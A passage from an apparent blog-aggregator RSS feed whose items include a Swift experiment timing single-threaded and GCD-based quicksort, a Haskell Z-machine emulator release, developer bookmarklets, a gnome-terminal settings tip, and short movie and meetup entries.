            &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* swap pivot back */&lt;/span&gt;
    &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* sort subarrays */&lt;/span&gt;
    &lt;span class="nf"&gt;quickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;quickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;useQuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;clock_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nf"&gt;quickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;end&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;clock_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"quickSort: &lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nf"&gt;clock_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;CLOCKS_PER_SEC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="s"&gt; ms"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isSorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"quickSort: Array not sorted"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;//MARK: Quicker Sort&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;sortQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;dispatch_get_global_queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;DISPATCH_QUEUE_PRIORITY_BACKGROUND&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;quickerSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;inout&lt;/span&gt; &lt;span class="nv"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* swap pivot to front */&lt;/span&gt;
    &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;last&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* swap lesser to front */&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* swap pivot back */&lt;/span&gt;
    &lt;span class="nf"&gt;swap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    
    &lt;span class="cm"&gt;/* sort subarrays */&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sortQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
        &lt;span class="nf"&gt;quickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="nf"&gt;dispatch_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sortQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
        &lt;span class="nf"&gt;quickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;useQuickerSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;clock_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nf"&gt;dispatch_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sortQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
        &lt;span class="nf"&gt;quickerSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;end&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;clock_t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"quickerSort: &lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nf"&gt;clock_t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;CLOCKS_PER_SEC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="s"&gt; ms"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        
        &lt;span class="nf"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isSorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"quickerSort: Array not sorted"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// MARK: Main&lt;/span&gt;

&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;span class="nf"&gt;useQuickSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;useQuickerSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I get the following result:&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;quickSort: 784 ms
quickerSort: 772 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You obviously tell that the same implementation in Swift is quite slower than in C++, but that’s not the point. We’re not experimenting C++ vs Swift, but single thread vs multiple threads. And using GCD, we see quite a small improvement, even though our test case is so small. This is most probably because we’re not manually handling the thread management ourselves anymore. We simply let the dispatch_queue handle the thread management.&lt;/p&gt;

&lt;p&gt;The sunshine of todays experiment is that if we make good use of multi threading, we have a lot of potential for getting a large improvements. And, this is more than enough to motivate me to dive further down the concurrency rabbit hole.&lt;/p&gt;

&lt;p&gt;The source code for this experiment is available at the GitHub repository: https://github.com/chunkyguy/ConcurrencyExperiments&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sun, 14 Sep 2014 20:58:54 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/concurrency/2014/09/14/concurrency-getting-started/</guid></item><item><title>Video: SQL vs NoSQL Discussion at UpstatePHP</title><link>https://www.brightball.com/articles/video-sql-vs-nosql-discussion-at-upstatephp</link><description>Here's the video from the August UpstatePHP meeting in Greenville discussing SQL vs NoSQL and where they are useful for your development process. I represented SQL solutions (*cough* PostgreSQL *cough*) while Benjamin Young represented NoSQL. Ben has actively contributed to CouchDB, worked for Cloudant, Couchbase, organizes the REST Fest Unconference (happening again September 25-27th) and is the owner of Big Blue Hat. I am a gainfully employed programmer...so...there's that.</description><author>Brightball Articles</author><pubDate>Sun, 14 Sep 2014 03:12:15 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/video-sql-vs-nosql-discussion-at-upstatephp</guid></item><item><title>There Will Be Blood</title><link>https://olshansky.info/movie/there_will_be_blood/</link><description>Olshansky's review of There Will Be Blood</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 13 Sep 2014 16:34:37 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/there_will_be_blood/</guid></item><item><title>And we're back</title><link>https://liza.io/and-were-back/</link><description>&lt;p&gt;I took a one-month break from Gastropoda to participate in the &lt;a href="http://www.js13kgames.com"&gt;JS13kGames&lt;/a&gt; challenge with a tiny game called &lt;a href="http://liza.io/breakingbrad"&gt;Breaking Brad&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But now it&amp;rsquo;s back to simulations! It&amp;rsquo;s taking me a while to remember where exactly I left off with Gastropoda last month, but now I think it&amp;rsquo;s time to figure out how to calculate a snail&amp;rsquo;s position within a jar. This is important because each snail will detect other objects (items, snails, etc) differently based on its senses. I have to have an actual location for both objects and snails. Right now I&amp;rsquo;m setting a position randomly when a snail is hatched in a jar, but I have to decide how I&amp;rsquo;m going to update this position as it crawls. Currently snails crawl at random on HTML5 canvas - they are already starting their crawl from their DB position, but pick direction randomly and then move back and forth across the screen using their speed attribute. So far all I have are some random notes:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 13 Sep 2014 13:32:36 GMT</pubDate><guid isPermaLink="true">https://liza.io/and-were-back/</guid></item><item><title>Neighbors</title><link>https://olshansky.info/movie/neighbors/</link><description>Olshansky's review of Neighbors</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 13 Sep 2014 13:18:18 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/neighbors/</guid></item><item><title>Happy Programmers’ Day!</title><link>http://blog.danieljanus.pl/happy-programmers-day/</link><description>&lt;div&gt;&lt;p&gt;Happy &lt;a href="https://en.wikipedia.org/wiki/Programmers&amp;apos;_Day"&gt;Programmers’ Day&lt;/a&gt;, everyone!&lt;/p&gt;&lt;p&gt;A feast isn’t a feast, though, until it has a proper way of celebrating it. The &lt;a href="https://en.wikipedia.org/wiki/Pi_Day"&gt;Pi Day&lt;/a&gt;, for instance, has one: you eat a pie (preferably exactly at 1:59:26.535am), but I haven’t heard of any way of celebrating the Programmers’ Day, so I had to invent one. An obvious way would be to write a program, preferably a non-trivial one, but that requires time and dedication, which not everyone is able to readily spare.&lt;/p&gt;&lt;p&gt;So here’s my idea: on Programmers’ Day, dust off a program that you wrote some time ago — something that is just lying around in some far corner of your hard disk, that you haven’t looked at in years, but that you had fun writing — and put it on &lt;a href="https://github.com/"&gt;GitHub&lt;/a&gt; for all the world to see, to share the joy of programming.&lt;/p&gt;&lt;p&gt;Let me initialize the new tradition by doing this myself. Here’s &lt;a href="https://github.com/nathell/haze"&gt;HAZE&lt;/a&gt;, the Haskellish Abominable Z-machine Emulator. It was my final assignment for a course in Advanced Functional Programming, in my fourth year at the Uni, way back in 2004. It is an emulator for an ancient kind of virtual machine, the &lt;a href="https://en.wikipedia.org/wiki/Z-machine"&gt;Z-machine&lt;/a&gt;, written from scratch in Haskell. It allows you to play text adventure games, such as &lt;a href="https://en.wikipedia.org/wiki/Zork"&gt;Zork&lt;/a&gt;, much in the vein of &lt;a href="https://davidgriffith.gitlab.io/frotz/"&gt;Frotz&lt;/a&gt;. It’s not very complete, and supports versions of the Z-machine up to 3 only, so newer games won’t run on it as it stands, but Zork is playable.&lt;/p&gt;&lt;p&gt;It probably won’t even compile in modern Haskell systems: it was originally written for GHC version 6.2.1, and extensively uses the FiniteMap data type, which was obsoleted shortly after and is no longer found in modern systems. I should have Linux and Windows binaries lying around (yes, I had compiled it under Windows, using MinGW/PDCurses); I’ll put them on GitHub once I find them.&lt;/p&gt;&lt;p&gt;My mind now wanders ten years back in time, to the days when I was writing it. It took me about three summer weeks to write HAZE from scratch, most of that time on a slow laptop where it took quite a lot of seconds to get GHC to compile even a simple thing. I would do some of it differently if I were doing it now — for one, the state of a &lt;code&gt;ZMachine&lt;/code&gt; is a central datatype to HAZE, and you’ll find a lot of functions that take and return ZMachines, so a state monad is an obvious choice; I didn’t understand monads well enough back then. But I still remember how I had the framework in place already and I was adding implementations of Z-code opcodes, one by one, to &lt;code&gt;ZMachine/ZCode/Impl.hs&lt;/code&gt;, recompiling, rerunning, getting messages about unimplemented opcodes, when all of a sudden I got the familiar message about a white house and a small mailbox. Freude!&lt;/p&gt;&lt;p&gt;I hope you enjoy looking at it at least half as much as I had enjoyed writing it.&lt;/p&gt;&lt;/div&gt;</description><author>code · words · emotions: Daniel Janus’s blog</author><pubDate>Sat, 13 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.danieljanus.pl/happy-programmers-day/</guid></item><item><title>Flight-booking bookmarks</title><link>https://xenodium.com/flight-booking-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.azair.com/"&gt;Azair: Budget air tickets from low-cost airlines&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://flights.google.com/"&gt;Google Flights&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://matrix.itasoftware.com"&gt;Matrix - ITA Software by Google&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.travelzoo.com/uk/"&gt;Travelzoo: Travel &amp;amp; entertainment deals: hotels, holidays, cruises, restaurants, shows&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 12 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/flight-booking-bookmarks</guid></item><item><title>Bookmarklets</title><link>https://donatstudios.com/Bookmarklets</link><description>&lt;p&gt;This is just a small collection of Bookmarklets I personally find useful.  To use them simply click and drag them into your Bookmarks bar.&lt;/p&gt;
&lt;p&gt;&lt;a class="bookmarklet" href="https://donatstudios.com/javascript:(function(){var e=document.getElementsByTagName(&amp;amp;quot;form&amp;amp;quot;);for(var t=0;t&amp;amp;lt;e.length;t++){e[t].setAttribute(&amp;amp;quot;novalidate&amp;amp;quot;,&amp;amp;quot;novalidate&amp;amp;quot;)}})()"&gt;Disable HTML 5 Validation&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Clicking this will disable html5 validation for all form elements on the page.  Useful for testing server side validation while leaving HTML 5 validation in place.&lt;/p&gt;
&lt;p&gt;&lt;a class="bookmarklet" href="https://donatstudios.com/javascript:(function(){alert(document.getElementsByTagName(&amp;amp;quot;*&amp;amp;quot;).length)})()"&gt;Element Count&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Clicking this will provide a count of the number of elements on the page in an alert box.&lt;/p&gt;</description><author>Donat Studios</author><pubDate>Thu, 11 Sep 2014 07:10:05 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/Bookmarklets</guid></item><item><title>Resetting gnome-terminal preferences</title><link>https://xenodium.com/resetting-gnome-terminal-preferences</link><description>&lt;h2&gt;Resetting preferences&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;gconftool --recursive-unset /apps/gnome-terminal
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Want 256 colors?&lt;/h2&gt;
&lt;p&gt;Edit .bash_profile&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;export TERM=&amp;quot;screen-256color&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ensure .bash_profile is loaded&lt;/h2&gt;
&lt;p&gt;From gnome-terminal window:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;gnome-terminal Edit Profiles… Edit Title and Command X Run command as login shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Solarized&lt;/h2&gt;
